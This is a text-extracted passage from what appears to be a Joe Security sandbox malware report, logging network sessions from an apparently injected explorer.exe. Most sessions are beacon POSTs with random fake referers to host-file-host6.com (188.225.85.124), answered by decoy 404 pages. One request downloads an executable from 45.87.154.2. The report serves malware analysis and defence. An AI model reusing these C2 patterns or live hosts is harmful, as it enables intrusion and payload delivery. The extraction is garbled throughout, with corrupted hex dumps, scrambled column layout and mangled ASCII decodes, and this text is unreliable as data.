3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 72657373 3e41 7061 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 66 69 6¢ 65 2d 68 6f 73 74 36 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3¢ 2f 61 64 64 72 65 73 73
3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa
Data Ascii: 197<!IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-file-host6.com Port 80</address></body></htm|>0

Session ID Source IP Source Port Destination IP Destination Port Process

24 192.168.2.7 49788 188.225.85.124 80 C:\Windows\explorer.exe
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kBytes
Timestamp transferred

Nov 18, 2021 5137
10:30:29.756087065 CET

Nov 18, 2021 5138
10:30:29.855127096 CET

Session ID Source IP
25 192.168.2.7

kBytes
Timestamp transferred
Nov 18, 2021 5139

10:30:29.960937023 CET

Nov 18, 2021 5140
10:30:30.076189041 CET

Session ID Source IP
26 192.168.2.7

kBytes
Timestamp transferred
Nov 18, 2021 5141

10:30:30.185760021 CET

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49789

Direction

ouT

Source Port
49790

Direction

ouT

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://hkilsvrrd.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 291

Host: host-file-host6.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 18 Nov 2021 09:30:29 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 37 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2C 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 6164 64 7265 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
20 61 74 20 68 6f 73 74 2d 66 69 6¢ 65 2d 68 6f 73 74 36 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3¢ 2f 61 64 64 72 65 73 73
3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 197<IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-file-host6.com Port 80</address></body></htm|>0

Destination IP Destination Port Process

188.225.85.124 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://titympjjb.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 351

Host: host-file-host6.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 18 Nov 2021 09:30:30 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 37 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3¢ 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 726573 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
20 61 74 20 68 6f 73 74 2d 66 69 6¢ 65 2d 68 6f 73 74 36 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3¢ 2f 61 64 64 72 65 73 73
3e Oa 3c 2f 62 6 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 197<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html|><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-file-host6.com Port 80</address></body></htmI|>0

Destination IP Destination Port Process

188.225.85.124 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://mtofyflgq.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 183

Host: host-file-host6.com
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kBytes
Timestamp transferred

Nov 18, 2021 5142
10:30:30.320590973 CET

Session ID Source IP
27 192.168.2.7

kBytes
Timestamp transferred
Nov 18, 2021 6608

10:30:31.153840065 CET

Nov 18, 2021 6610
10:30:31.261888027 CET

Session ID Source IP
28 192.168.2.7

kBytes
Timestamp transferred
Nov 18, 2021 6612

10:30:31.379403114 CET

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49792

Direction

ouT

Source Port
49796

Direction
ouT

Data

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 18 Nov 2021 09:30:30 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 37 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d Oa 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 72657373 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 66 69 6¢ 65 2d 68 6f 73 74 36 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73
3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 197<IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-file-host6.com Port 80</address></body></htmI|>0

Destination IP Destination Port Process

188.225.85.124 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://ltdhgfb.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 196

Host: host-file-host6.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 18 Nov 2021 09:30:31 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 37 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3¢ 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 6164 64 7265 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
20 61 74 20 68 6f 73 74 2d 66 69 6¢ 65 2d 68 6f 73 74 36 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3¢ 2f 61 64 64 72 65 73 73
3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 197<!IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-file-host6.com Port 80</address></body></htm|>0

Destination IP Destination Port Process
188.225.85.124 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://eqdjygbwuq.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 179

Host: host-file-host6.com
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Timestamp

Nov 18, 2021
10:30:31.494772911 CET

Session ID

29

Timestamp

Nov 18, 2021
10:30:31.616314888 CET

Nov 18, 2021
10:30:31.725743055 CET

Session ID
3

Timestamp

Nov 18, 2021
10:30:08.574858904 CET

Nov 18, 2021
10:30:08.696490049 CET

Session ID

30

Timestamp

kBytes
transferred

7027

Source IP

192.168.2.7
kBytes

transferred

8119

8249

Source IP
192.168.2.7

kBytes

transferred
1174

1174

Source IP

192.168.2.7

kBytes
transferred

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49797

Direction

ouT

Source Port
49760

Direction
ouT

Source Port

49798

Direction

Data

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 18 Nov 2021 09:30:31 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 37 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d Oa 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 72657373 3e 4170 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 66 69 6¢ 65 2d 68 6f 73 74 36 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73
3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 197<IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-file-host6.com Port 80</address></body></htmI|>0

Destination IP Destination Port Process

188.225.85.124 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://krhxuby.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 152

Host: host-file-host6.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 18 Nov 2021 09:30:31 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 34 38 0d Oa 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 95 d2 08 5f 3c 5c al 3 d8 fc f8 5e b2 32
8f 78 84 06 4e ba 57 ff cd 78 e9 Oc 03 Oe f3 a9 88 17 bd 54 d0 47 de f7 22 80 27 ed ac 9b 56 2f e6 b2 4c 35 a9 f2 e0 0d Oa
30 0d Oa 0d Oa

Data Ascii: 481:820_<\"2xNWxTG"V/L50

Destination IP  Destination Port Process

188.225.85.124 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://ovnfahllse.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 195

Host: host-file-host6.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 18 Nov 2021 09:30:08 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 0d Oa 14 00 00 00 7b fa fO 1c b5 69 2b 2¢ 47 fa Oe a8 c1 82 9f 4f 1a c4 da 16 00 0d Oa 30 0d Oa Od Oa
Data Ascii: 19{i+,GO0

Destination IP Destination Port Process

45.87.154.2 80 C:\Windows\explorer.exe

Data
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kBytes
Timestamp transferred

Nov 18, 2021 8249
10:30:31.760689020 CET

Nov 18, 2021 8250
10:30:31.788234949 CET

Session ID Source IP
31 192.168.2.7

kBytes
Timestamp transferred
Nov 18, 2021 9348

10:30:31.887509108 CET

Nov 18, 2021 9349
10:30:31.996277094 CET

Session ID Source IP
32 192.168.2.7

kBytes
Timestamp transferred
Nov 18, 2021 9350

10:30:32.140680075 CET

Nov 18, 2021 9351
10:30:32.238881111 CET

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49799

Direction

ouT

Source Port
49800

Direction
ouT

Data

GET /VN1zS0gN2nD1iF6p/04805958955520964044.exe HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: 45.87.154.2

HTTP/1.1 200 OK

Date: Thu, 18 Nov 2021 09:30:31 GMT

Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.0.33

X-Powered-By: PHP/7.0.33

Content-Length: 195

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: text/html; charset=UTF-8

Data Raw: 3c 73 63 72 69 70 74 3e 69 66 28 77 69 6e 64 6f 77 2e 6¢ 6f 63 61 74 69 6f 6e 2e 68 72 65 66 2e 69 6e 63 6¢
7564 65 73 28 22 23 22 29 29 20 77 69 6e 64 6f 77 2e 6¢ 6f 63 61 74 69 6f 6e 2e 68 72 65 66 20 3d 20 77 69 6e 64 6f 77
2e 6¢ 6f 63 61 74 69 6f 6e 2e 68 72 65 66 2e 72 65 70 6¢ 61 63 65 28 2f 5¢ 2f 5¢ 23 5¢ 2f 2f 67 2¢ 27 23 27 29 2e 72 65 70
6¢c 61 63 65 28 2f 5¢ 2f 5¢ 23 2f 67 2¢ 27 23 27 29 2e 72 65 70 6¢ 61 63 65 28 2f 5¢ 23 2f 67 2¢ 27 2f 27 29 3b 3c 2f 73 63
7269 70 74 3e 3c 70 72 65 3e 43 6f 75 6¢ 64 20 6e 6f 74 20 70 61 72 73 65 20 75 72 6¢ 20 21 3c 2f 70 72 65 3e

Data Ascii: <script>if(window.location.href.includes("#")) window.location.href = window.location.href.replace(/\\#\//g
,'#).replace(\\#/g,'#").replace(/\#/g,'I');</script><pre>Could not parse url !</pre>

Destination IP Destination Port Process

188.225.85.124 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://iuyisco.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 193

Host: host-file-host6.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 18 Nov 2021 09:30:31 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 37 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3¢ 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 7265 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
20 61 74 20 68 6f 73 74 2d 66 69 6¢ 65 2d 68 6f 73 74 36 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3¢ 2f 61 64 64 72 65 73 73
3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 Od Oa 0d Oa

Data Ascii: 197<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-file-host6.com Port 80</address></body></htm|>0

Destination IP  Destination Port Process
188.225.85.124 80 C:\Windows\explorer.exe

Data

POST / HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://gxapoluwf.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 346

Host: host-file-host6.com

HTTP/1.1 200 OK

Server: nginx/1.20.1

Date: Thu, 18 Nov 2021 09:30:32 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0

Connection: close
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Session ID Source IP
33 192.168.2.7

kBytes
Timestamp transferred
Nov 18, 2021 9351

10:30:32.340652943 CET

Nov 18, 2021 9352
10:30:32.455554962 CET

Session ID Source IP
34 192.168.2.7

kBytes
Timestamp transferred
Nov 18, 2021 12379

10:30:38.205276012 CET

Nov 18, 2021 12380
10:30:38.314827919 CET

Session ID Source IP
35 192.168.2.7

kBytes
Timestamp transferred
Nov 18, 2021 12381

10:30:38.417076111 CET

Copyright Joe Security LLC 2021

Source Port

49801

Direction

ouT

Source Port

49805

Direction

ouT

Source Port
49806

Direction
ouT

Destination IP Destination Port Process

188.225.85.124 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://cqpptcaaq.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 326

Host: host-file-host6.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 18 Nov 2021 09:30:32 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 36 31 0d Oa 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 84 42 09 25 16 f9 b5 8f bd b8 15 a5 Oc
ce 2c b4 59 52 db 04 e5 fd 28 e3 22 58 1b b2 ed cf 00 b4 51 da 42 d4 6 26 86 24 eb ad 94 50 2b e4 b6 40 22 e3 b3 b4 68
4 99 bd 5c ae 75 96 cc 33 4b 5c¢ 3f 08 4a df bb 34 €0 a8 54 d9 b1 c2 09 0d Oa 30 0d Oa 0d Oa

Data Ascii: 611:820B%, YR("XQB&$P+@"h\u3K\?J4TO

Destination IP Destination Port Process

188.225.85.124 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://kunlarxj.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 243

Host: host-file-host6.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 18 Nov 2021 09:30:38 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 37 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3¢ 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
